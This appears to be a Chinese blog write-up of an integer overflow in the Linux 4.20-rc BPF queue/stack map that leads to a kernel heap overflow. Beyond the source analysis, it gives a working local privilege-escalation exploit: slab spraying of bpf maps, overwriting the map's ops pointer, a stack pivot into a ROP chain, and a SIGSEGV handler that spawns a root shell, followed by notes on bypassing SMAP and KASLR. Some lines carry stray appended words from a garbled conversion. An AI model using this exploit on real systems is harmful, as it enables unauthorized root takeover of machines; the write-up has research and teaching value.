Linux kernel 4.20 BPF 整數溢出漏洞分析

分析的代碼爲linux-4.20-rc3版本:https://elixir.bootlin.com/linux/v4.20-rc3/source。由於該漏洞影響Linux Kernel 4.20rc1-4.20rc4,主要Linux發行版並不受其影響。node

1、簡介

BPF的全稱是Berkeley Packet Filter,字面意思意味着它是從包過濾而來,該模塊主要就是用於用戶態定義數據包過濾方法;從本質上咱們能夠把它看做是一種內核代碼注入的技術,BPF最大的好處是它提供了一種在不修改內核代碼的狀況下,能夠靈活修改內核處理策略的方法,這使得在包過濾和系統tracing這種須要頻繁修改規則的場合中很是有用。常見的抓包工具都基於此實現,而且用戶態的Seccomp功能也與此功能類似。linux

涉及到的代碼可從這裏下載,我更改過的exp可從個人github下載。git

2、漏洞分析

觸發流程:github

SYSCALL_DEFINE3() -> map_create() -> find_and_alloc_map() -> queue_stack_map_alloc()

BPF經過系統調用觸發,查看代碼shell

// /kernel/bpf/syscall.c
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
    union bpf_attr attr = {};
    int err;

    if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
        return -EPERM;

    err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
    if (err)
        return err;
    size = min_t(u32, size, sizeof(attr));

    /* copy attributes from user space, may be less than sizeof(bpf_attr) */
    if (copy_from_user(&attr, uattr, size) != 0)
        return -EFAULT;

    err = security_bpf(cmd, &attr, size);
    if (err < 0)
        return err;

    switch (cmd) {
    case BPF_MAP_CREATE:
        err = map_create(&attr);
        break;
    case BPF_MAP_LOOKUP_ELEM:
        err = map_lookup_elem(&attr);
        break;
      case BPF_MAP_UPDATE_ELEM:
            err = map_update_elem(&attr);
            break;
    ... ...
    case BPF_MAP_LOOKUP_AND_DELETE_ELEM:
        err = map_lookup_and_delete_elem(&attr);
        break;
    default:
        err = -EINVAL;
        break;
    }

    return err;
}

map_create:用戶可經過BPF_MAP_CREATE參數調用map_create函數來建立map對象。map_create源碼c#

// /kernel/bpf/syscall.c
static int map_create(union bpf_attr *attr)
{
    int numa_node = bpf_map_attr_numa_node(attr);
    struct bpf_map *map;
    int f_flags;
    int err;

    err = CHECK_ATTR(BPF_MAP_CREATE);
    if (err)
        return -EINVAL;

    f_flags = bpf_get_file_flag(attr->map_flags);
    if (f_flags < 0)
        return f_flags;

    if (numa_node != NUMA_NO_NODE &&
        ((unsigned int)numa_node >= nr_node_ids ||
         !node_online(numa_node)))
        return -EINVAL;

    /* find map type and init map: hashtable vs rbtree vs bloom vs ... */
    map = find_and_alloc_map(attr);//根據map的類型分配空間,建立map結構體,併爲其編號,之後利用編號尋找生成的map。
    if (IS_ERR(map))
        return PTR_ERR(map);

    err = bpf_obj_name_cpy(map->name, attr->map_name);
    if (err)
        goto free_map_nouncharge;

    atomic_set(&map->refcnt, 1);
    atomic_set(&map->usercnt, 1);
    ... ...
    free_map:
    bpf_map_release_memlock(map);
free_map_sec:
    security_bpf_map_free(map);
free_map_nouncharge:
    btf_put(map->btf);
    map->ops->map_free(map);
    return err;
}

find_and_alloc_map:函數根據map的類型給map分配空間,find_and_alloc_map中首先根據attr->type,尋找所對應的處理函數虛表,而後根據處理函數虛表的不一樣,調用不一樣的函數進行處理。find_and_alloc_map源碼api

static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
    const struct bpf_map_ops *ops;
    u32 type = attr->map_type;
    struct bpf_map *map;
    int err;

    if (type >= ARRAY_SIZE(bpf_map_types))
        return ERR_PTR(-EINVAL);
    type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
    ops = bpf_map_types[type];   //根據type的值尋找所對應的處理函數虛表
    if (!ops)
        return ERR_PTR(-EINVAL);

    if (ops->map_alloc_check) {
        err = ops->map_alloc_check(attr);
        if (err)
            return ERR_PTR(err);
    }
    if (attr->map_ifindex)
        ops = &bpf_map_offload_ops;
    map = ops->map_alloc(attr);  //調用虛函數
    if (IS_ERR(map))
        return map;
    map->ops = ops;
    map->map_type = type;
    return map;
}

bpf_map_ops追蹤緩存

//  /include/linux/bpf.h       —— bpf_map_ops
struct bpf_map_ops {
    /* funcs callable from userspace (via syscall) */
    int (*map_alloc_check)(union bpf_attr *attr);
    struct bpf_map *(*map_alloc)(union bpf_attr *attr);
    void (*map_release)(struct bpf_map *map, struct file *map_file);
  ...
//   /include/linux/bpf.h       —— bpf_map 
    struct bpf_map {
    /* The first two cachelines with read-mostly members of which some
     * are also accessed in fast-path (e.g. ops, max_entries).
     */
    const struct bpf_map_ops *ops ____cacheline_aligned;
    struct bpf_map *inner_map_meta;
  ...
// /kernel/bpf/queue_stack_maps.c —— queue_stack_map_alloc  
// 虛函數表:對應真正調用的函數
const struct bpf_map_ops queue_map_ops = {
    .map_alloc_check = queue_stack_map_alloc_check,
    .map_alloc = queue_stack_map_alloc,              //map_alloc
    .map_free = queue_stack_map_free,
    .map_lookup_elem = queue_stack_map_lookup_elem,
    .map_update_elem = queue_stack_map_update_elem,  //map_update_elem
    .map_delete_elem = queue_stack_map_delete_elem,
    .map_push_elem = queue_stack_map_push_elem,
    .map_pop_elem = queue_map_pop_elem,
    .map_peek_elem = queue_map_peek_elem,
    .map_get_next_key = queue_stack_map_get_next_key,
};

queue_stack_map_alloc:而在虛函數當中有一個queue_stack_map_alloc函數,源碼數據結構

static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
    int ret, numa_node = bpf_map_attr_numa_node(attr);
    struct bpf_queue_stack *qs;
    u32 size, value_size;
    u64 queue_size, cost;

    size = attr->max_entries + 1; //   會產生整數溢出
    value_size = attr->value_size;

    queue_size = sizeof(*qs) + (u64) value_size * size;

    cost = queue_size;
    if (cost >= U32_MAX - PAGE_SIZE)
        return ERR_PTR(-E2BIG);

    cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;

    ret = bpf_map_precharge_memlock(cost);
    if (ret < 0)
        return ERR_PTR(ret);

    qs = bpf_map_area_alloc(queue_size, numa_node); // 申請太小的塊
    if (!qs)
        return ERR_PTR(-ENOMEM);

    memset(qs, 0, sizeof(*qs));

    bpf_map_init_from_attr(&qs->map, attr);  // 初始化函數

    qs->map.pages = cost;
    qs->size = size;

    raw_spin_lock_init(&qs->lock);

    return &qs->map;
}

漏洞attr->max_entries是用戶傳入的可控參數。由於size = attr->max_entries + 1;attr->max_entries=0xffffffff,產生整數溢出漏洞使得size=0app

又由於queue_size = sizeof(*qs) + (u64) value_size * size;,使得queue_size = sizeof(*qs)。其中前sizeof(bpf_queue_stack) 個字節爲管理塊,用於存儲數據結構,後面的內容爲數據存儲結構。

bpf_map_init_from_attr:初始化bpf_map結構。

void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr)
{
    map->map_type = attr->map_type;
    map->key_size = attr->key_size;
    map->value_size = attr->value_size;
    map->max_entries = attr->max_entries;
    map->map_flags = attr->map_flags;
}

當此申請完成後,內核模塊將這個堆塊放入管理結構中,並生成id用於管理,並將id返回給用戶。


3、堆溢出

有了整數溢出,如今需尋找編輯功能。

堆溢出:由於上面的整數溢出漏洞,致使了內存分配的時候僅僅分配了管理塊的大小,可是沒有分配實際存儲數據的內存,以後咱們能夠在第3個bpf系統調用map_update_elem這塊map的過程當中,向這塊太小的queue stack中區域拷入數據,就致使內核堆溢出。

map_update_elem:首先根據用戶輸入的id找到放入管理結構的map,利用kmalloc新建一個堆塊根據map中存儲的value_size,從用戶輸入拷貝。而後在map中找到存儲的虛函數指針ops,而後根據ops調用相應的虛函數。

static int map_update_elem(union bpf_attr *attr)
{
    void __user *ukey = u64_to_user_ptr(attr->key);
    void __user *uvalue = u64_to_user_ptr(attr->value);
    int ufd = attr->map_fd; //用戶id
    struct bpf_map *map;
    void *key, *value;
    u32 value_size;
    struct fd f;
    int err;
    if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
        return -EINVAL;

    f = fdget(ufd);    //用戶id  -> 找到對應map
    map = __bpf_map_get(f);
    if (IS_ERR(map))
        return PTR_ERR(map);
 ......
  value_size = map->value_size;     // 
  value = kmalloc(value_size, GFP_USER | __GFP_NOWARN); //根據value_size新建堆塊
  if (copy_from_user(value, uvalue, value_size) != 0) // attr->value 處的值緩存到 attr->value
        goto free_value;
 ......
   err = map->ops->map_push_elem(map, value, attr->flags); //由虛表可知,map_push_elem真正調用了 queue_stack_map_push_elem()

queue_stack_map_push_elem:發生溢出的主要函數,源碼以下。在該函數中從以前kmalloc新建的內存中,向計算獲得的地址作拷貝,大小爲qs->size。

/* Called from syscall or from eBPF program */
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
                     u64 flags)
{
    struct bpf_queue_stack *qs = bpf_queue_stack(map);
    unsigned long irq_flags;
    int err = 0;
    void *dst;

    /* BPF_EXIST is used to force making room for a new element in case the
     * map is full
     */
    bool replace = (flags & BPF_EXIST);

    /* Check supported flags for queue and stack maps */
    if (flags & BPF_NOEXIST || flags > BPF_EXIST)
        return -EINVAL;

    raw_spin_lock_irqsave(&qs->lock, irq_flags);

    if (queue_stack_map_is_full(qs)) {
        if (!replace) {
            err = -E2BIG;
            goto out;
        }
        /* advance tail pointer to overwrite oldest element */
        if (unlikely(++qs->tail >= qs->size))
            qs->tail = 0;
    }

    dst = &qs->elements[qs->head * qs->map.value_size];
    memcpy(dst, value, qs->map.value_size);     //堆溢出

    if (unlikely(++qs->head >= qs->size))
        qs->head = 0;

out:
    raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
    return err;
}

計算的地址,從彙編語言中更容易看出是跳過了管理塊內容的地址,qs->head在新建的時候被初始化爲0,此時出現堆溢出,溢出大小能夠控制即初始化是輸入的value_size,位置是重新建的第一個堆塊之後直接溢出。

.text:FFFFFFFF811AEF71                 mov     edx, [rbx+20h]
.text:FFFFFFFF811AEF74                 mov     rsi, r13
.text:FFFFFFFF811AEF77                 xor     r15d, r15d
.text:FFFFFFFF811AEF7A                 imul    ecx, edx
.text:FFFFFFFF811AEF7D                 lea     rdi, [rbx+rcx+0D0h]
.text:FFFFFFFF811AEF85                 call    memcpy
; memcpy((unsigned __int64)map + (unsigned int)(map[8] * v7) + 0xD0, a2, (unsigned int)map[8]);

功能:每個map裏包含多個小塊內存,value_size是每個小塊的大小,max_entries是小塊的數量,每次能夠寫一個小塊內容。

這裏memcpy函數中的dst就是上面申請的queue stack區域,而src是由用戶態拷入的大小爲qs->map.value_sizebuffer, 拷貝長度由建立queue_stack時用戶提供的attr.value_size所決定的,因此拷貝長度也是用戶可控的;sizeof(struct bpf_queue_stack)(bpf_queue_stack結構大小是0xd0,但kmalloc分配時需對齊,就是0x100,因此至少0x30字節才能溢出),若是當value_size > 256 - (&qs->elements - &qs)時,就會發生越界拷貝了。


4、漏洞利用

1. 利用分析

(1)保護:採用smep,關閉smap/kaslr/kpti。

(2)查看申請塊size:下斷,發現是用kmalloc-256進行分配。 問題—怎麼找到這個斷點的啊??

pwndbg> b *0xFFFFFFFF8119CD17
Breakpoint 2 at 0xffffffff8119cd17
pwndbg> c
Continuing.
pwndbg> ni
pwndbg> i r rax
rax            0xffff88807a001700   -131389592692992
pwndbg> x /20gx 0xffff88807a001700
0xffff88807a001700: 0x0000000000024200  0x0000000040000000
0xffff88807a001710: 0x0000000000000005  0x0000010000000100
0xffff88807a001720: 0x0000000d00000000  0x0000001000000010
0xffff88807a001730: 0x0000000000000010  0x0000000000000001
0xffff88807a001740: 0x0000000000000000  0x0000000800000100
0xffff88807a001750: 0x0000000000000000  0xffffffff8222db1c
0xffff88807a001760: 0xffff88807a001860  0xffff88807a001660
0xffff88807a001770: 0xffffffff8222db1c  0xffff88807a001878
0xffff88807a001780: 0xffff88807a001678  0xffff888079b459d8
0xffff88807a001790: 0xffff888079b459c0  0xffffffff8246d5e0
pwndbg> x /s 0xffffffff8222db1c
0xffffffff8222db1c: "kmalloc-256"

(3)漏洞條件:1. 申請0x100大小的堆塊;2. 向相鄰堆塊溢出;3. slub性質—相同大小的堆塊相鄰,所以申請大量的堆塊必定存在一塊與發生溢出的堆塊相鄰,形成指針可控的狀況。

(4)利用思路:因爲ptmx大小不合適,能夠就利用bpf_queue_stack結構,連續申請兩個bpf_queue_stack,就可讓第一個bpf_queue_stack發生溢出,改寫後一個bpf_queue_stack的虛表指針。bpf_queue_stack結構包含bpf_mapbpf_map中含虛表指針ops,溢出覆蓋虛表指針,便可劫持控制流。

struct bpf_queue_stack {
    struct bpf_map map;
    raw_spinlock_t lock;
    u32 head, tail;
    u32 size; /* max_entries + 1 */

    char elements[0] __aligned(8);
};

struct bpf_map {
    /* The first two cachelines with read-mostly members of which some
     * are also accessed in fast-path (e.g. ops, max_entries).
     */
    const struct bpf_map_ops *ops ____cacheline_aligned;
    struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
    void *security;
#endif
    enum bpf_map_type map_type;
    u32 key_size;
    u32 value_size;
    u32 max_entries;
    u32 map_flags;
    u32 pages;
    u32 id;
    int numa_node;
    u32 btf_key_type_id;
    u32 btf_value_type_id;
    struct btf *btf;
    bool unpriv_array;
    /* 55 bytes hole */

    /* The 3rd and 4th cacheline with misc members to avoid false sharing
     * particularly with refcounting.
     */
    struct user_struct *user ____cacheline_aligned;
    atomic_t refcnt;
    atomic_t usercnt;
    struct work_struct work;
    char name[BPF_OBJ_NAME_LEN];
};
/* map is generic key/value storage optionally accesible by eBPF programs */
struct bpf_map_ops {
    /* funcs callable from userspace (via syscall) */
    int (*map_alloc_check)(union bpf_attr *attr);
    struct bpf_map *(*map_alloc)(union bpf_attr *attr);
    void (*map_release)(struct bpf_map *map, struct file *map_file);
    void (*map_free)(struct bpf_map *map);
    int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key);
    void (*map_release_uref)(struct bpf_map *map);

    /* funcs callable from userspace and from eBPF programs */
    void *(*map_lookup_elem)(struct bpf_map *map, void *key);
    int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags);
    int (*map_delete_elem)(struct bpf_map *map, void *key);
    int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
    int (*map_pop_elem)(struct bpf_map *map, void *value);
    int (*map_peek_elem)(struct bpf_map *map, void *value);

    /* funcs called by prog_array and perf_event_array map */
    void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file,
                int fd);
    void (*map_fd_put_ptr)(void *ptr);
    u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf);
    u32 (*map_fd_sys_lookup_elem)(void *ptr);
    void (*map_seq_show_elem)(struct bpf_map *map, void *key,
                  struct seq_file *m);
    int (*map_check_btf)(const struct bpf_map *map,
                 const struct btf_type *key_type,
                 const struct btf_type *value_type);
};

// 虛函數表:對應真正調用的函數
const struct bpf_map_ops queue_map_ops = {
    .map_alloc_check = queue_stack_map_alloc_check,
    .map_alloc = queue_stack_map_alloc,              //map_alloc
    .map_free = queue_stack_map_free,
    .map_lookup_elem = queue_stack_map_lookup_elem,
    .map_update_elem = queue_stack_map_update_elem,  //map_update_elem
    .map_delete_elem = queue_stack_map_delete_elem,
    .map_push_elem = queue_stack_map_push_elem,
    .map_pop_elem = queue_map_pop_elem,
    .map_peek_elem = queue_map_peek_elem,
    .map_get_next_key = queue_stack_map_get_next_key,
};

(5)輸入格式(傳入參數的格式):

//   /include/uapi/linux/bpf.h
union bpf_attr {
    struct { /* 用於 BPF_MAP_CREATE 命令,添加bpf */
        __u32   map_type;   /* one of enum bpf_map_type */
        __u32   key_size;   /* size of key in bytes */
        __u32   value_size; /* size of value in bytes */
        __u32   max_entries;    /* max number of entries in a map */
        __u32   map_flags;  /* BPF_MAP_CREATE related
                     * flags defined above.
                     */
        __u32   inner_map_fd;   /* fd pointing to the inner map */
        __u32   numa_node;  /* numa node (effective only if
                     * BPF_F_NUMA_NODE is set).
                     */
        char    map_name[BPF_OBJ_NAME_LEN];
        __u32   map_ifindex;    /* ifindex of netdev to create on */
        __u32   btf_fd;     /* fd pointing to a BTF type data */
        __u32   btf_key_type_id;    /* BTF type_id of the key */
        __u32   btf_value_type_id;  /* BTF type_id of the value */
    };
  
    struct { /* 用於 BPF_MAP_*_ELEM 命令,可編輯bpf */
        __u32       map_fd;
        __aligned_u64   key;
        union {
            __aligned_u64 value;
            __aligned_u64 next_key;
        };
        __u64       flags;
    };

(6)釋放時/劫持map_release時的現場,以肯定xchg哪一個寄存器:

bpf_map_release() ---> map_release()

因爲是jmp rsp,因此能夠選xchg eax, esp這個gadget。

// c代碼
static int bpf_map_release(struct inode *inode, struct file *filp)
{
    struct bpf_map *map = filp->private_data;

    if (map->ops->map_release)
        map->ops->map_release(map, filp);

    bpf_map_put_with_uref(map);
    return 0;
}
/ # cat /proc/kallsyms | grep map_release
ffffffff8119d050 t bpf_map_release
ffffffff811a8b00 t bpffs_map_release
ffffffff81810070 t map_release
# 彙編
pwndbg> x /30i 0xffffffff8119d050
   0xffffffff8119d050:  push   rbx
   0xffffffff8119d051:  mov    rbx,QWORD PTR [rsi+0xc8]
   0xffffffff8119d058:  mov    rax,QWORD PTR [rbx]
   0xffffffff8119d05b:  mov    rax,QWORD PTR [rax+0x10]
   0xffffffff8119d05f:  test   rax,rax
   0xffffffff8119d062:  je     0xffffffff8119d06c
   0xffffffff8119d064:  mov    rdi,rbx
   0xffffffff8119d067:  call   0xffffffff81e057c0
   0xffffffff8119d06c:  mov    rdi,rbx
   0xffffffff8119d06f:  call   0xffffffff8119d010
   0xffffffff8119d074:  xor    eax,eax
   0xffffffff8119d076:  pop    rbx
   0xffffffff8119d077:  ret
# pwndbg裏面
pwndbg> x /10i 0xffffffff81e057c0    
   0xffffffff81e057c0:  call   0xffffffff81e057cc
   0xffffffff81e057c5:  pause  
   0xffffffff81e057c7:  lfence 
   0xffffffff81e057ca:  jmp    0xffffffff81e057c5
   0xffffffff81e057cc:  mov    QWORD PTR [rsp],rax#其實就是jmp rax
   0xffffffff81e057d0:  ret   

# IDA中 
.text:FFFFFFFF81E057C0                 jmp     rax

原文說close()時,會將bpf_map_free_deferred()添加到隊列並隨後執行,經過將map->ops指向用戶態可控位置,而且將ops.map_free設爲任意值,咱們就能夠在執行map->ops->map_free(map);語句時將rip設置爲任意值。

/* called from workqueue */
static void bpf_map_free_deferred(struct work_struct *work)
{
    struct bpf_map *map = container_of(work, struct bpf_map, work);

    bpf_map_release_memlock(map);
    security_bpf_map_free(map);
    /* implementation dependent freeing */
    map->ops->map_free(map);
}
/* decrement map refcnt and schedule it for freeing via workqueue
 * (unrelying map implementation ops->map_free() might sleep)
 */
static void __bpf_map_put(struct bpf_map *map, bool do_idr_lock)
{
    if (atomic_dec_and_test(&map->refcnt)) {
        /* bpf_map_free_id() must be called first */
        bpf_map_free_id(map, do_idr_lock);
        btf_put(map->btf);
        INIT_WORK(&map->work, bpf_map_free_deferred);
        schedule_work(&map->work);
    }
}

map_free函數地址位於偏移0x18處,可是exp中是劫持的是0x10處的map_release。可是我在map_free處下斷點,並正常釋放時,確實停下來了。

2.整合利用

// Step 1 : 構造添加bpf (BPF_MAP_CREATE) 的參數
  signal(SIGSEGV, get_shell_again);  //  遇到SIGSEGV錯誤時調用get_shell_again()處理函數(對存儲的無效訪問:當程序試圖在已分配的內存以外讀取或寫入時)
  syscall(__NR_mmap, 0x20000000,0x1000000,PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);  
  long res = 0;
  memset(0x200011c0, '\x00', 0x30);
  *(uint32_t *)0x200011c0 = 0x17;   // map_type  如何肯定??
  *(uint32_t *)0x200011c4 = 0;      // key_size
  *(uint32_t *)0x200011c8 = 0x40;   // value_size 需拷貝的用戶字節數
  *(uint32_t *)0x200011cc = -1;     // max_entries = 0xffffffff 構造整數溢出
  *(uint32_t *)0x200011d0 = 0;      // map_flags
  *(uint32_t *)0x200011d4 = -1;     // inner_map_fd
  *(uint32_t *)0x200011d8 =0;       // numa_node
// Step 2 : 保存用戶態變量, xchg地址處佈置ROP
  save_status();
  printf("user_cs:%llx    user_ss:%llx    user_rflags:%llx     user_sp:%llx\n",user_cs, user_ss, user_rflags, user_sp);
  prepare_krop();

void *fake_stack;
void prepare_krop(){
  krop_base_mapped = mmap ((void *)krop_base_to_map, 0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
  if (krop_base_mapped<0){
    perror("[-] mmap failed");   
  }
  *(unsigned long*)0x81954dc8 = pop_rax_ret;   
  fake_stack = mmap((void *)0xa000000000,0x8000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  memset(fake_stack, '\x00', 0x100);
  *(unsigned long*)(fake_stack+0x10) = xchg_eax_esp_ret;    // 偏移0x10處對應  map_release函數指針
  rop_chain[14]=user_cs;
  rop_chain[15]=user_rflags;
  rop_chain[16]=user_sp;   // 也能夠是(unsigned long)(fake_stack+0x6000);
  rop_chain[17]=user_ss;
  memcpy(krop_base_mapped + rop_start, rop_chain, sizeof(rop_chain));
  puts("[+] rop chain has been initialized!");
}
// Step 3 : 添加bpf,噴射構造相鄰的bpf結構,有利於溢出
  res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
  spray();
  
long victim[SPRAY_NUMBER];
void spray(){
  for(int i=0; i < SPRAY_NUMBER; i++)
    victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
  return;
}
// Step 4 : 溢出覆蓋bpf_queue_stack中的虛表指針ops,僞造虛表bpf_map_ops中的函數指針map_release
  *(uint32_t*)0x200000c0 = res;         //map_fd    根據BPF_MAP_CREATE返回的編號找到對應的bpf對象
  *(uint64_t*)0x200000c8 = 0;           //key
  *(uint64_t*)0x200000d0 = 0x20000140;  //value  輸入的緩衝區
  *(uint64_t*)0x200000d8 = 2;           //flags  = BPF_EXIST =2

  uint64_t * ptr = (uint64_t*)0x20000140;
  for(int i=0; i<8; i++)
    ptr[i]=i;
  ptr[6]=fake_stack;   //0x20002000  0xa000000000  從偏移0x30纔開始覆蓋。虛表指針ops在開頭,但bpf_queue_stack管理結構大小0xd0,可是申請空間時需0x100對齊,0x100-0xd0=0x30。
  syscall(__NR_bpf,2,0x200000c0,0x20);
// Step 5 : close()觸發map_release()
  for (int i=0; i<SPRAY_NUMBER; i++)
    close(victim[i]);

在調試ROP時,當用iret返回用戶態時,遇到了一個以前沒有遇到的問題,雖然跳轉到了get_shell函數,但執行第一條語句時,出現Segmentation fault,拿不到shell。加一個signal函數來catch段錯誤,在這個處理函數中再起shell,就能夠拿到shell。

3. 繞過保護機制討論

(1)SMAP

SMAP防止ring 0代碼訪問用戶態數據,Linux下的傳統的繞過SMAP提權的方法包括如下幾種:

  1. 利用JOP改寫CR4寄存器關閉SMAP防護
  2. 利用call_usermodehelper 以root身份執行binary
  3. 經過內存任意讀寫直接改寫當前進程cred。

關於利這一個單個漏洞SMAP, KPTI, KASLR等其餘防護機制的繞過,將在後續文章中進行詳解。

(2)KASLR

Linux下的傳統的繞過KASLR提權的方法包括如下幾種:

  1. 近年來,有許多經過硬件側信道繞過KASLR的工做,如prefetch, meltdown等
  2. 利用漏洞構造信息泄露
  3. 配合一個信息泄露漏洞

參考:

http://p4nda.top/2019/01/02/kernel-bpf-overflow/

https://www.anquanke.com/post/id/166819#h3-5

相關文章
相關標籤/搜索